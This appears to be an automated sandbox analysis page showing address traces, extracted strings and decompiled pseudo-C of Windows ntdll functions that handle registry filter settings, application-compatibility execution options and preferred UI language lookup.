0x6b569b2b
0x6b5b15be
0x00000000
0x6b5b15be
0x6b569b29
0x6b569ae8
0x6b569ae8
0x6b569aeb
0x6b569aee
0x6b5b15cb
0x6b5b15d2
0x6b5b15d5
0x6b5b15d7
0x6b5b15da
0x6b5b15dc
0x6b5b15dc
0x6b5b15dc
0x6b5b15da
0x6b5b15e5
0x6b5b15e9
0x6b5b15ee
0x6b5b15f1
0x6b5b15f3
0x6b5b15f9
0x6b5b1600
0x6b5b1604
0x6b5b1624
0x6b5b1629
0x6b5b1606
0x6b5b161c
0x6b5b1621
0x6b5b1637
0x6b5b163e
0x6b5b1643
0x6b5b1649
0x6b5b164c
0x6b5b1650
0x6b5b1656
0x6b5b165d
0x6b5b165e
0x6b5b165e
0x6b5b1650
0x6b5b15f3
0x6b569af4
0x6b569af7
0x6b569afc
0x6b569b00
0x6b569b04
0x6b569b08
0x6b569b14
0x6b5699fe
0x6b569a04
0x6b569a07
0x00000000
0x6b569a29
0x6b5b169c
0x6b5b16a0
0x6b5b16a5
0x6b5b16a9
0x6b5b16b5
0x6b5b16ba
0x6b5b16bc
0x6b5b16be
0x6b5b16c3
0x6b5b16c3
0x6b5b16bc
0x6b5b16c8
0x6b5b16cc
0x6b5b181b
0x6b5b181b
0x6b5b181e
0x6b5b181e
0x6b5b1821
0x6b5b1823
0x6b5b1826
0x6b5b1829
0x6b5b182c
0x6b5b182e
0x6b5b1688
0x6b5b1688
0x6b5b1689
0x6b5b168b
0x6b5b168c
0x6b5b168d
0x6b5b168f
0x6b5b1692
0x00000000
0x6b5b1692
0x6b5b1834
0x6b5b1836
0x00000000
0x00000000
0x6b5b183f
0x6b5b1842
0x6b5b1848
0x6b5b184a
0x6b5b1875
0x6b5b1875
0x6b5b1878
0x6b5b187b
0x6b5b187d
0x6b5b1880
0x6b5b1884
0x6b5b18a7
0x6b5b18a7
0x6b5b18aa
0x6b5b18ad
0x6b5b18b6
0x6b5b18bd
0x6b5b18c0
0x6b5b18c3
0x6b5b18c5
0x6b5b18c8
0x6b5b18ca
0x6b5b18ca
0x6b5b18cd
0x6b5b18cd
0x6b5b18c8
0x6b5b18d5
0x6b5b18da
0x6b5b18df
0x6b5b18e2
0x6b5b18e5
0x6b5b18e7
0x6b5b18ee
0x6b5b18f2
0x6b5b1912
0x6b5b1917
0x6b5b18f4
0x6b5b190a
0x6b5b190f
0x6b5b1925
0x6b5b192c
0x6b5b1931
0x6b5b193a
0x6b5b193e
0x6b5b1940
0x6b5b1947
0x6b5b1948
0x6b5b1948
0x6b5b193e
0x6b5b18e5
0x6b5b194f
0x6b5b1952
0x6b5b1956
0x6b5b195d
0x6b5b1961
0x6b5b196d
0x00000000
0x6b5b196d
0x6b5b188a
0x6b5b188f
0x6b5b1891
0x00000000
0x00000000
0x6b5b189d
0x00000000
0x6b5b189d
0x6b5b184c
0x6b5b1859
0x6b5b1859
0x6b5b185c
0x00000000
0x00000000
0x6b5b1851
0x6b5b1853
0x6b5b1855
0x6b5b1865
0x6b5b1865
0x6b5b1866
0x6b5b1868
0x6b5b1870
0x00000000
0x6b5b1870
0x6b5b1857
0x6b5b1857
0x6b5b185e
0x00000000
0x6b5b16d2
0x6b5b16d2
0x6b5b16d5
0x6b5b16d5
0x6b5b16d8
0x6b5b16da
0x6b5b16dd
0x6b5b16e0
0x6b5b16e3
0x6b5b16e5
0x6b5b1808
0x6b5b1808
0x6b5b1809
0x6b5b1812
0x6b5b1817
0x6b5b1817
0x00000000
0x6b5b1817
0x6b5b16eb
0x6b5b16ed
0x00000000
0x00000000
0x6b5b16f6
0x6b5b16f9
0x6b5b16ff
0x6b5b1701
0x6b5b172c
0x6b5b172c
0x6b5b172f
0x6b5b1732
0x6b5b1734
0x6b5b1737
0x6b5b173b
0x6b5b175e
0x6b5b175e
0x6b5b1761
0x6b5b1764
0x6b5b176d
0x6b5b1774
0x6b5b1777
0x6b5b177a
0x6b5b177c
0x6b5b177f
0x6b5b1781
0x6b5b1781
0x6b5b1784
0x6b5b1784
0x6b5b177f
0x6b5b178c
0x6b5b1791
0x6b5b1796
0x6b5b1799
0x6b5b179c
0x6b5b179e
0x6b5b17a5
0x6b5b17a9
0x6b5b17c9
0x6b5b17ce
0x6b5b17ab
0x6b5b17c1
0x6b5b17c6
0x6b5b17dc
0x6b5b17e3
0x6b5b17e8
0x6b5b17ee
0x6b5b17f1
0x6b5b17f5
0x6b5b17f7
0x6b5b17fe
0x6b5b17ff
0x6b5b17ff
0x6b5b17f5
0x6b5b179c
0x00000000
0x6b5b1764
0x6b5b1741
0x6b5b1746
0x6b5b1748
0x00000000
0x00000000
0x6b5b1754
0x00000000
0x6b5b1754
0x6b5b1703
0x6b5b1710
0x6b5b1710
0x6b5b1713
0x00000000
0x00000000
0x6b5b1708
0x6b5b170a
0x6b5b170c
0x6b5b171c
0x6b5b171c
0x6b5b171d
0x6b5b171f
0x6b5b1727
0x00000000
0x6b5b1727
0x6b5b170e
0x6b5b170e
0x6b5b1715
0x00000000
0x6b5b1715
0x6b5b16cc
0x6b569a45
0x6b569a45
0x6b569a0e
0x6b569a1c
0x6b569a23
0x6b5b167e
0x6b5b167f
0x6b5b1681
0x6b5b1683
0x6b5b1684
0x00000000
0x6b5b1684
0x00000000
0x6b569aad
0x6b569aad
0x6b569ab0
0x6b569ab3
0x6b569ab3
0x6b569ab6
0x00000000
0x00000000
0x6b569ab8
0x6b569aba
0x6b569abc
0x6b569ac8
0x6b569ac8
0x00000000
0x6b569abe
0x6b569abe
0x6b569ac0
0x00000000
0x6b569ac0
0x6b569abc
0x6b569ad2
0x00000000
0x6b569ad2
0x6b569aab

Strings

HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 6B5B1572, 6B5B1639, 6B5B17DE, 6B5B1927
HEAP[%wZ]: , xrefs: 6B5B1550, 6B5B1617, 6B5B17BC, 6B5B1905
HEAP: , xrefs: 6B5B155D, 6B5B1624, 6B5B17C9, 6B5B1912

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: 8aae96c12a9f225bc9351887f40821cb69d9396ee1b394602b70c98e8368d43f
Instruction ID: 66d16565211f7c1f284b86fa9f0ae1cac05e010114f83b5091dd81195714d3aa
Opcode Fuzzy Hash: 8aae96c12a9f225bc9351887f40821cb69d9396ee1b394602b70c98e8368d43f
Instruction Fuzzy Hash: 14221070A102519FFB54CF28C4A1BFABBF5EF45704F2484A9E4958B396E739D881CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6B548239, Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 233
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E6B548239(signed int* __ecx, long* __edx, signed int _a4) {
				signed int _v12;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				char _v560;
				signed int _v564;
				long _v568;
				long _v572;
				intOrPtr _v576;
				short _v578;
				void* _v580;
				signed int _v584;
				intOrPtr _v586;
				void* _v588;
				void* _v592;
				void* _v596;
				intOrPtr _v600;
				long* _v604;
				signed int* _v608;
				intOrPtr _v612;
				short _v614;
				void* _v616;
				signed int _v620;
				signed int _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				signed int _v636;
				char _v640;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t94;
				void* _t99;
				long _t118;
				intOrPtr _t125;
				short _t126;
				signed int* _t137;
				void* _t138;
				intOrPtr _t143;
				void* _t145;
				void* _t147;
				void* _t148;
				void* _t150;
				signed int _t151;
				void* _t152;
				signed int _t154;

				_t149 = __edx;
				_v12 =  *0x6b63d360 ^ _t154;
				_v564 = _v564 & 0x00000000;
				_t151 = _a4;
				_t137 = __ecx;
				_v604 = __edx;
				_v608 = __ecx;
				_t150 = 0;
				_v568 = 0x220;
				_v592 =  &_v560;
				if(E6B556D30( &_v580, L"UseFilter") < 0) {
					L4:
					return E6B58B640(_t89, _t137, _v12 ^ _t154, _t149, _t150, _t151);
				}
				_push( &_v572);
				_push(0x220);
				_push( &_v560);
				_push(2);
				_push( &_v580);
				_push( *_t137);
				_t89 = E6B589650();
				if(_t89 >= 0) {
					if(_v556 != 4 || _v552 != 4 || _v548 == 0) {
						L3:
						_t89 = 0;
					} else {
						_t94 =  *_t151;
						_t151 =  *(_t151 + 4);
						_v588 = _t94;
						_v584 = _t151;
						if(E6B556D30( &_v580, L"\\??\\") < 0) {
							goto L4;
						}
						if(RtlPrefixUnicodeString( &_v580,  &_v588, 1) != 0) {
							_v588 = _v588 + 0xfff8;
							_v586 = _v586 + 0xfff8;
							_v584 = _t151 + 8;
						}
						_t99 =  &_v560;
						_t143 = 0;
						_v596 = _t99;
						_v600 = 0;
						do {
							_t149 =  &_v572;
							_push( &_v572);
							_push(_v568);
							_push(_t99);
							_push(0);
							_push(_t143);
							_push( *_t137);
							_t151 = E6B589820();
							if(_t151 < 0) {
								goto L37;
							}
							_t145 = _v596;
							_v580 =  *((intOrPtr*)(_t145 + 0xc));
							_v624 = _v624 & 0x00000000;
							_v620 = _v620 & 0x00000000;
							_v578 =  *((intOrPtr*)(_t145 + 0xc));
							_v576 = _t145 + 0x10;
							_v636 =  *_t137;
							_v632 =  &_v580;
							_push( &_v640);
							_push(_v604);
							_v640 = 0x18;
							_push( &_v564);
							_v628 = 0x240;
							_t151 = E6B589600();
							if(_t151 < 0) {
								goto L37;
							}
							_t151 = E6B556D30( &_v580, L"FilterFullPath");
							if(_t151 < 0) {
								L36:
								_push(_v564);
								E6B5895D0();
								goto L37;
							}
							_t138 = _v592;
							_t118 = _v568;
							do {
								_push( &_v572);
								_push(_t118);
								_push(_t138);
								_push(2);
								_push( &_v580);
								_push(_v564);
								_t152 = E6B589650();
								if(_t152 == 0x80000005 || _t152 == 0xc0000023) {
									if(_t150 != 0) {
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t150);
									}
									_t147 =  *( *[fs:0x30] + 0x18);
									if(_t147 != 0) {
										_t150 = RtlAllocateHeap(_t147,  *0x6b637b9c + 0x180000, _v572);
										if(_t150 == 0) {
											goto L25;
										}
										_t118 = _v572;
										_t138 = _t150;
										_v596 = _t150;
										_v568 = _t118;
										goto L27;
									} else {
										_t150 = 0;
										L25:
										_t151 = 0xc0000017;
										goto L26;
									}
								} else {
									L26:
									_t118 = _v568;
								}
								L27:
							} while (_t151 == 0x80000005 || _t151 == 0xc0000023);
							_v592 = _t138;
							_t137 = _v608;
							if(_t151 >= 0) {
								_t148 = _v592;
								if( *((intOrPtr*)(_t148 + 4)) != 1) {
									goto L36;
								}
								_t125 =  *((intOrPtr*)(_t148 + 8));
								if(_t125 > 0xfffe) {
									goto L36;
								}
								_t126 = _t125 + 0xfffffffe;
								_v616 = _t126;
								_v614 = _t126;
								_v612 = _t148 + 0xc;
								if(RtlCompareUnicodeString( &_v588,  &_v616, 1) == 0) {
									break;
								}
								goto L36;
							}
							_push(_v564);
							E6B5895D0();
							_t65 = _t151 + 0x3fffffcc; // 0x3fffffcc
							asm("sbb eax, eax");
							_t151 = _t151 &  ~_t65;
							L37:
							_t99 = _v596;
							_t143 = _v600 + 1;
							_v600 = _t143;
						} while (_t151 >= 0);
						if(_t150 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t150);
						}
						if(_t151 >= 0) {
							_push( *_t137);
							E6B5895D0();
							 *_t137 = _v564;
						}
						_t85 = _t151 + 0x7fffffe6; // 0x7fffffe6
						asm("sbb eax, eax");
						_t89 =  ~_t85 & _t151;
					}
					goto L4;
				}
				if(_t89 != 0xc0000034) {
					if(_t89 == 0xc0000023) {
						goto L3;
					}
					if(_t89 != 0x80000005) {
						goto L4;
					}
				}
				goto L3;
			}

0x6b548239
0x6b54824b
0x6b54824e
0x6b54825d
0x6b548260
0x6b54826e
0x6b548275
0x6b54827b
0x6b54827d
0x6b548287
0x6b548294
0x6b5482ce
0x6b5482de
0x6b5482de
0x6b54829c
0x6b54829d
0x6b5482a8
0x6b5482a9
0x6b5482b1
0x6b5482b2
0x6b5482b4
0x6b5482bb
0x6b5a2dfa
0x6b5482cc
0x6b5482cc
0x6b5a2e19
0x6b5a2e19
0x6b5a2e1b
0x6b5a2e1e
0x6b5a2e30
0x6b5a2e3d
0x00000000
0x00000000
0x6b5a2e5a
0x6b5a2e61
0x6b5a2e68
0x6b5a2e72
0x6b5a2e72
0x6b5a2e78
0x6b5a2e7e
0x6b5a2e80
0x6b5a2e86
0x6b5a2e8c
0x6b5a2e8c
0x6b5a2e92
0x6b5a2e93
0x6b5a2e99
0x6b5a2e9a
0x6b5a2e9c
0x6b5a2e9d
0x6b5a2ea4
0x6b5a2ea8
0x00000000
0x00000000
0x6b5a2eae
0x6b5a2eb8
0x6b5a2ec3
0x6b5a2eca
0x6b5a2ed1
0x6b5a2edb
0x6b5a2ee3
0x6b5a2eef
0x6b5a2efb
0x6b5a2efc
0x6b5a2f08
0x6b5a2f12
0x6b5a2f13
0x6b5a2f22
0x6b5a2f26
0x00000000
0x00000000
0x6b5a2f3d
0x6b5a2f41
0x6b5a3069
0x6b5a3069
0x6b5a306f
0x00000000
0x6b5a306f
0x6b5a2f47
0x6b5a2f4d
0x6b5a2f53
0x6b5a2f59
0x6b5a2f5a
0x6b5a2f5b
0x6b5a2f5c
0x6b5a2f64
0x6b5a2f65
0x6b5a2f70
0x6b5a2f78
0x6b5a2f84
0x6b5a2f92
0x6b5a2f92
0x6b5a2f9d
0x6b5a2fa2
0x6b5a3004
0x6b5a3008
0x00000000
0x00000000
0x6b5a300a
0x6b5a3010
0x6b5a3012
0x6b5a3018
0x00000000
0x6b5a2fa4
0x6b5a2fa4
0x6b5a2fa6
0x6b5a2fa6
0x00000000
0x6b5a2fa6
0x6b5a2fab
0x6b5a2fab
0x6b5a2fab
0x6b5a2fab
0x6b5a2fb1
0x6b5a2fb1
0x6b5a2fc1
0x6b5a2fc7
0x6b5a2fcf
0x6b5a3020
0x6b5a302a
0x00000000
0x00000000
0x6b5a302c
0x6b5a3034
0x00000000
0x00000000
0x6b5a3036
0x6b5a3039
0x6b5a3040
0x6b5a304a
0x6b5a3067
0x00000000
0x00000000
0x00000000
0x6b5a3067
0x6b5a2fd1
0x6b5a2fd7
0x6b5a2fdc
0x6b5a2fe4
0x6b5a2fe6
0x6b5a3074
0x6b5a307a
0x6b5a3080
0x6b5a3081
0x6b5a3087
0x6b5a3091
0x6b5a309f
0x6b5a309f
0x6b5a30a6
0x6b5a30a8
0x6b5a30aa
0x6b5a30b5
0x6b5a30b5
0x6b5a30b7
0x6b5a30bf
0x6b5a30c1
0x6b5a30c1
0x00000000
0x6b5a2dfa
0x6b5482c6
0x6b5a2ddd
0x00000000
0x00000000
0x6b5a2de8
0x00000000
0x00000000
0x6b5a2dee
0x00000000

APIs

RtlInitUnicodeStringEx.1105(?,UseFilter,?,00000000,?), ref: 6B54828D
ZwQueryValueKey.1105(?,?,00000002,?,00000220,?,?,UseFilter,?,00000000,?), ref: 6B5482B4
RtlInitUnicodeStringEx.1105(?,\??\,?,?,00000002,?,00000220,?,?,UseFilter,?,00000000,?), ref: 6B5A2E36
RtlPrefixUnicodeString.1105(?,?,00000001,?,\??\,?,?,00000002,?,00000220,?,?,UseFilter,?,00000000,?), ref: 6B5A2E53
ZwEnumerateKey.1105(?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\,?,?,00000002,?,00000220), ref: 6B5A2E9F
ZwOpenKey.1105(00000000,?,?,?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\,?,?), ref: 6B5A2F1D
RtlInitUnicodeStringEx.1105(?,FilterFullPath,00000000,?,?,?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\), ref: 6B5A2F38
ZwQueryValueKey.1105(00000000,?,00000002,?,00000220,?,?,FilterFullPath,00000000,?,?,?,00000000,00000000,?,00000220), ref: 6B5A2F6B
RtlFreeHeap.1105(?,00000000,00000000,00000000,?,00000002,?,00000220,?,?,FilterFullPath,00000000,?,?,?,00000000), ref: 6B5A2F92

Strings

UseFilter, xrefs: 6B548263
\??\, xrefs: 6B5A2E2A
FilterFullPath, xrefs: 6B5A2F2C

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$Init$QueryValue$EnumerateFreeHeapOpenPrefix
String ID: FilterFullPath$UseFilter$\??\
API String ID: 941260810-2779062949
Opcode ID: eb880d853e2ece084d00517a8cef2e76c4fdb3a4a7ed83c69199f0ed93e57c64
Instruction ID: 3c0355efea0fce6025c702f1cfff50bef75596b5d155c202196e84d9b963e641
Opcode Fuzzy Hash: eb880d853e2ece084d00517a8cef2e76c4fdb3a4a7ed83c69199f0ed93e57c64
Instruction Fuzzy Hash: 4FA15B71D116699BEB21CF64CC89BEDB7B8EF44704F1001EAE909A7250E7399E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6B5440FD, Relevance: 31.7, APIs: 11, Strings: 7, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E6B5440FD(void* __ecx) {
				signed int _v8;
				long _v548;
				signed int _v552;
				char _v556;
				unsigned int _v560;
				char _v564;
				char _v568;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char _t53;
				unsigned int _t66;
				void* _t68;
				wchar_t* _t73;
				intOrPtr _t77;
				short* _t85;
				wchar_t* _t98;
				signed int _t102;
				signed int _t103;
				void* _t105;
				signed int _t107;
				void* _t108;
				void* _t110;
				void* _t111;
				void* _t112;

				_t45 =  *0x6b63d360 ^ _t107;
				_v8 =  *0x6b63d360 ^ _t107;
				_t105 = __ecx;
				if( *0x6b6384d4 == 0) {
					L5:
					return E6B58B640(_t45, _t85, _v8 ^ _t107, _t102, _t105, _t106);
				}
				_t85 = 0;
				E6B55E9C0(3,  *((intOrPtr*)(__ecx + 0x18)), 0, 0,  &_v564);
				if(( *0x7ffe02d5 & 0x00000003) == 0) {
					_t45 = 0;
				} else {
					_t45 =  *(_v564 + 0x5f) & 0x00000001;
				}
				if(_t45 == 0) {
					_v552 = _t85;
					if(E6B5442EB(_t105) != 0) {
						L15:
						_t103 = 2;
						_v552 = _t103;
						L10:
						if(( *0x7ffe02d5 & 0x0000000c) == 4) {
							_t45 = 1;
						} else {
							_t53 = E6B5441EA(_v564);
							asm("sbb al, al");
							_t45 =  ~_t53 + 1;
						}
						if(_t45 == 0) {
							_t102 = _t103 | 0x00000040;
							_v552 = _t102;
						}
						if(_t102 != 0) {
							L33:
							_push(4);
							_push( &_v552);
							_push(0x22);
							_push(0xffffffff);
							_t45 = E6B5896C0();
						}
						goto L4;
					}
					_v556 = _t85;
					_t102 =  &_v556;
					if(E6B54429E(_t105 + 0x2c, _t102) >= 0) {
						if(_v556 == _t85) {
							goto L8;
						}
						_t85 = _t105 + 0x24;
						E6B5D5720(0x55, 3, "CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions\n", _v556);
						_v560 = 0x214;
						memset( &_v548, 0, 0x214);
						_t106 =  *0x6b6384d4;
						_t110 = _t108 + 0x20;
						 *0x6b63b1e0( *((intOrPtr*)(_t105 + 0x28)),  *((intOrPtr*)(_t105 + 0x18)),  *((intOrPtr*)(_t105 + 0x20)), L"ExecuteOptions",  &_v568,  &_v548,  &_v560, _t85);
						if( *( *0x6b6384d4)() == 0) {
							goto L8;
						}
						_t66 = _v560;
						if(_t66 == 0 || _t66 >= 0x214) {
							goto L8;
						} else {
							_t68 = (_t66 >> 1) * 2 - 2;
							if(_t68 >= 0x214) {
								E6B58B75A();
								goto L33;
							}
							_push(_t85);
							 *((short*)(_t107 + _t68 - 0x220)) = 0;
							E6B5D5720(0x55, 3, "CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database\n",  &_v548);
							_t111 = _t110 + 0x14;
							_t73 = wcsstr( &_v548, L"Execute=1");
							_push(_t85);
							if(_t73 == 0) {
								E6B5D5720(0x55, 3, "CLIENT(ntdll): Processing %ws for patching section protection for %wZ\n",  &_v548);
								_t106 =  &_v548;
								_t98 = _t106;
								_t112 = _t111 + 0x14;
								_t77 = _t98 + _v560;
								_v556 = _t77;
								if(_t98 >= _t77) {
									goto L8;
								} else {
									goto L27;
								}
								do {
									L27:
									_t85 = wcschr(_t106, 0x20);
									if(_t85 != 0) {
										 *_t85 = 0;
									}
									E6B5D5720(0x55, 3, "CLIENT(ntdll): Processing section info %ws...\n", _t106);
									_t112 = _t112 + 0x10;
									E6B5C3E13(_t105, _t106);
									if(_t85 == 0) {
										goto L8;
									}
									_t41 = _t85 + 2; // 0x2
									_t106 = _t41;
								} while (_t106 < _v556);
								goto L8;
							}
							_push("CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ\n");
							_push(3);
							_push(0x55);
							E6B5D5720();
							goto L15;
						}
					}
					L8:
					if(E6B5441F7(_t105) != 0) {
						goto L15;
					}
					_t103 = _v552;
					goto L10;
				} else {
					L4:
					 *(_t105 + 0x34) =  *(_t105 + 0x34) | 0x80000000;
					goto L5;
				}
			}

0x6b54410d
0x6b54410f
0x6b54411c
0x6b54411e
0x6b544158
0x6b544168
0x6b544168
0x6b544126
0x6b544130
0x6b54413c
0x6b5a04a2
0x6b544142
0x6b54414b
0x6b54414b
0x6b54414f
0x6b54416b
0x6b544178
0x6b5441d0
0x6b5441d2
0x6b5441d3
0x6b5441a7
0x6b5441b0
0x6b5441db
0x6b5441b2
0x6b5441b8
0x6b5441bf
0x6b5441c1
0x6b5441c1
0x6b5441c5
0x6b5441df
0x6b5441e2
0x6b5441e2
0x6b5441c9
0x6b5a0628
0x6b5a0628
0x6b5a0630
0x6b5a0631
0x6b5a0633
0x6b5a0635
0x6b5a0635
0x00000000
0x6b5441c9
0x6b54417d
0x6b544183
0x6b544190
0x6b5a04af
0x00000000
0x00000000
0x6b5a04b5
0x6b5a04c8
0x6b5a04d5
0x6b5a04e5
0x6b5a04ea
0x6b5a04f6
0x6b5a0518
0x6b5a0522
0x00000000
0x00000000
0x6b5a0528
0x6b5a0530
0x00000000
0x6b5a0543
0x6b5a0545
0x6b5a054e
0x6b5a0623
0x00000000
0x6b5a0623
0x6b5a0556
0x6b5a0557
0x6b5a056f
0x6b5a0574
0x6b5a0583
0x6b5a058a
0x6b5a058d
0x6b5a05b5
0x6b5a05c0
0x6b5a05c6
0x6b5a05c8
0x6b5a05cb
0x6b5a05cd
0x6b5a05d5
0x00000000
0x00000000
0x00000000
0x00000000
0x6b5a05db
0x6b5a05db
0x6b5a05e3
0x6b5a05e9
0x6b5a05ed
0x6b5a05ed
0x6b5a05fa
0x6b5a05ff
0x6b5a0606
0x6b5a060d
0x00000000
0x00000000
0x6b5a0613
0x6b5a0613
0x6b5a0616
0x00000000
0x6b5a061e
0x6b5a058f
0x6b5a0594
0x6b5a0596
0x6b5a0598
0x00000000
0x6b5a059d
0x6b5a0530
0x6b544196
0x6b54419f
0x00000000
0x00000000
0x6b5441a1
0x00000000
0x6b544151
0x6b544151
0x6b544151
0x00000000
0x6b544151

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?), ref: 6B544130
ZwSetInformationProcess.1105(000000FF,00000022,?,00000004,00000003,?,00000000,00000000,?), ref: 6B5A0635

Strings

Execute=1, xrefs: 6B5A057D
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 6B5A058F
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 6B5A0566
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 6B5A05AC
CLIENT(ntdll): Processing section info %ws..., xrefs: 6B5A05F1
ExecuteOptions, xrefs: 6B5A050A
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 6B5A04BF

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: HeaderImageInformationProcess
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 4034523672-484625025
Opcode ID: cfffa0909849db6d321b994123d7a3c97dc1a7ce2b665bb2b1cc1f4e7a04080f
Instruction ID: 25544d4dae5ede76ec9925378f6f8bf037cdf110f569d792bddb69fbdbf50dc6
Opcode Fuzzy Hash: cfffa0909849db6d321b994123d7a3c97dc1a7ce2b665bb2b1cc1f4e7a04080f
Instruction Fuzzy Hash: F2612831A402187AFB10DEA4EC86FEE73B8EF5A304F0411D9D515A7181DF78DE418B60

Uniqueness

Uniqueness Score: -1.00%

Function 6B5FCF70, Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E6B5FCF70(void* __ecx, intOrPtr _a4, intOrPtr _a8, unsigned int* _a12) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v36;
				char _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				intOrPtr _v76;
				intOrPtr _t61;
				char _t92;
				unsigned int* _t94;
				void* _t104;
				char _t105;
				unsigned int _t107;
				intOrPtr _t109;

				_v44 = 7;
				_t92 = 0;
				_t96 = 0x2000000;
				_v40 = 0;
				_v52 = 0;
				_v48 = 0;
				_t109 = E6B54F108(0, __ecx, __ecx,  &_v40);
				if(_t109 >= 0) {
					if(_a4 != 1) {
						RtlInitUnicodeString( &_v36, L"Control Panel\\Desktop\\MuiCached");
						_v32 = _v48;
						_t104 = 0x18;
						_v28 =  &_v44;
						_push( &_v36);
						_push(0x20019);
						_v60 = 0;
						_push( &_v60);
						_v36 = _t104;
						_v24 = 0x40;
						_v20 = 0;
						_v16 = 0;
						_t109 = E6B589600();
						if(_t109 < 0) {
							L5:
							if(_t109 == 0x80000005) {
								goto L9;
							} else {
								_push(_v60);
								E6B5895D0();
								_v64 = _t92;
								RtlInitUnicodeString( &_v48, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\MUI\\Settings");
								_v48 = _t104;
								_v44 = _t92;
								goto L7;
							}
						} else {
							RtlInitUnicodeString( &_v44, L"MachinePreferredUILanguages");
							_push(0x2000000);
							_t96 = _v68;
							_t109 = E6B54F018(_t96,  &_v52,  &_v60, 0,  &_v64);
							if(_t109 >= 0) {
								goto L9;
							} else {
								goto L5;
							}
						}
					} else {
						RtlInitUnicodeString( &_v36, L"Control Panel\\Desktop");
						_v36 = 0x18;
						_v32 = _v48;
						L7:
						_v68 = _t92;
						_v36 =  &_v52;
						_push( &_v44);
						_push(0x20019);
						_v32 = 0x40;
						_push( &_v68);
						_v28 = _t92;
						_v24 = _t92;
						_t109 = E6B589600();
						if(_t109 >= 0) {
							RtlInitUnicodeString( &_v52, L"PreferredUILanguages");
							_push(_t96);
							_t96 = _v76;
							_t109 = E6B54F018(_t96,  &_v60,  &_v68, _t92,  &_v72);
							L9:
							if(_t109 != 0xc0000034) {
								_t105 = _v56;
								if(_t105 != 0) {
									if(_t109 != 0x80000005) {
										_t109 = 0xc0000034;
									} else {
										_t107 = _t105 + 1 >> 1;
										if(_a8 != _t92) {
											_t94 = _a12;
											if( *_t94 >= _t107) {
												_push(_t96);
												_t109 = E6B54F018(_v60,  &_v44,  &_v52, _a8,  &_v56);
												if(_t109 < 0) {
													goto L17;
												} else {
													if(_v56 == 7) {
														goto L16;
													} else {
														_t109 = 0xc0000034;
														goto L17;
													}
												}
												L29:
											} else {
												_t109 = 0xc0000023;
												L16:
												 *_t94 = _t107;
											}
											L17:
											_t92 = 0;
										} else {
											_t109 = _t92;
											 *_a12 = _t107;
										}
									}
								}
							}
						}
					}
				}
				_t61 = _v40;
				if(_t61 != 0) {
					if(_t61 != 0xffffffff) {
						 *0x6b526cc4(_t61);
					}
					_v40 = _t92;
				}
				if(_v52 != 0) {
					_push(_v52);
					E6B5895D0();
				}
				return _t109;
				goto L29;
			}

0x6b5fcf82
0x6b5fcf8c
0x6b5fcf91
0x6b5fcf96
0x6b5fcf9a
0x6b5fcf9e
0x6b5fcfa7
0x6b5fcfab
0x6b5fcfb9
0x6b5fcfe1
0x6b5fcfea
0x6b5fcff4
0x6b5fcff5
